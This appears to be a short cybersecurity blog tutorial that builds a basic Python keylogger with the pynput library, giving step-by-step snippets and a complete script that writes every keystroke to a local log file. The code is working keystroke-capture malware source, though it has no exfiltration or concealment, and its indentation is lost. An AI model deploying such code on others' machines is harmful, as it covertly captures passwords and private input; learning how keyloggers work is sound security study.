Simple Keylogger in python.

SAI CHARAN
2 min readJul 31, 2021
Photo by Glenn Carstens-Peters on Unsplash

Here we will develop a python keylogger. But first, what exactly is a keylogger?

Keylogger:

Keylogger is a program that allows us to track keystrokes. The keystrokes are saved to a log file. This keystroke allows us to record sensitive information such as username and password.

Types of Keyloggers:

  • Software
  • Hardware

Why Keyloggers are a threat?

They can be used to intercept passwords and other confidential information entered via the keyboard, posing a serious threat to users. As a result, cybercriminals can obtain PIN codes and account numbers for e-payments, passwords, email addresses, usernames, and other personal information. Literally each and every thing that they enter using the keyboard.

Tutorial

The pynput module will be used to create a keylogger. As it is not a standard Python library, you may need to install it.

pip install pynput

Import the necessary packages and methods now. In order to monitor the keyboard, we will use the method of pynput.keyboard module.

from pynput.keyboard import Listener

Then we create the function write_to_file() which creates a definition for key presses, takes the key as a parameter, and stores it in a text file.

def write_to_file(key):

We will first need to convert the key into a string and by default all the keystrokes are recorded with a single quote, so we need to replace them as it will be easier to read the log file.

letter = str(key)
letter = letter.replace("'", "")

With” keyword is used to make sure that are the resources are realized. All the keystrokes are stored in the “log.txt” file.

with open("log.txt", 'a') as f:  
f.write(letter)

The last thing we are going to do is to set up a Listener and define the write_to_file method in it.

with Listener(on_press=write_to_file) as l:
l.join()

Join()” is used to join all the keys strokes together.

By combining all the above-mentioned steps together, our simple keylogger is done.

from pynput.keyboard import Listener


def write_to_file(key):
letter = str(key)
letter = letter.replace("'", "")
with open("log.txt", 'a') as f:
f.write(letter)


with Listener(on_press=write_to_file) as l:
l.join()

To test run the code, open Google search for something. Open your “log.txt” file now, and you can see every keystroke in the file that has been recorded along with the key switches too.

Thanks for reading!

I hope you got to learn something new.

If you liked it, please give it a clap and follow me for more blogs on cybersecurity related stuff!

--

--